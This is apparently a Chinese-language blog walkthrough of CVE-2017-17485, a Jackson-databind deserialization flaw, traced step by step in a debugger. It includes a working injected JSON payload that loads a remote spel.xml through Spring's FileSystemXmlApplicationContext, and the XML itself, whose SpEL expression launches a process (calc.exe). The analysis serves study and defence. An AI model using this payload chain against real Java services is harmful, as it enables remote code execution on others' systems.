这个洞的cve编号:CVE-2017-17485,漏洞环境就如第一个链接那样,jdk需要在jdk 1.8以上。

先看一下Jackson-databind的用法,说白了就是将json转换成对象。

test-legit.json代码如下

{"id":123}

运行结果如图:

Java反序列化之Jackson-databind-LMLPHP

如果注入的json代码如下代码,就会引入FileSystemXmlApplicationContext这个类,去下载spel.xml:

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

spel.xml配置如下:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

下断点调试一下,F7跟进readValue函数。

Java反序列化之Jackson-databind-LMLPHP

在readValue函数就是反序列化json,一直f8以后,在getBean下断点后,读取了id是pb的bean,也就是getBean执行完成后操作导致命令执行了(具体的例子可以看第一个链接)。

Java反序列化之Jackson-databind-LMLPHP

进行表达式评估。

Java反序列化之Jackson-databind-LMLPHP

返回构造函数。

Java反序列化之Jackson-databind-LMLPHP

对#{ pb.start() }进行spel操作

Java反序列化之Jackson-databind-LMLPHP

当解析完pb.start操作后就会命令执行

调用栈如下图:

Java反序列化之Jackson-databind-LMLPHP

05-11 22:05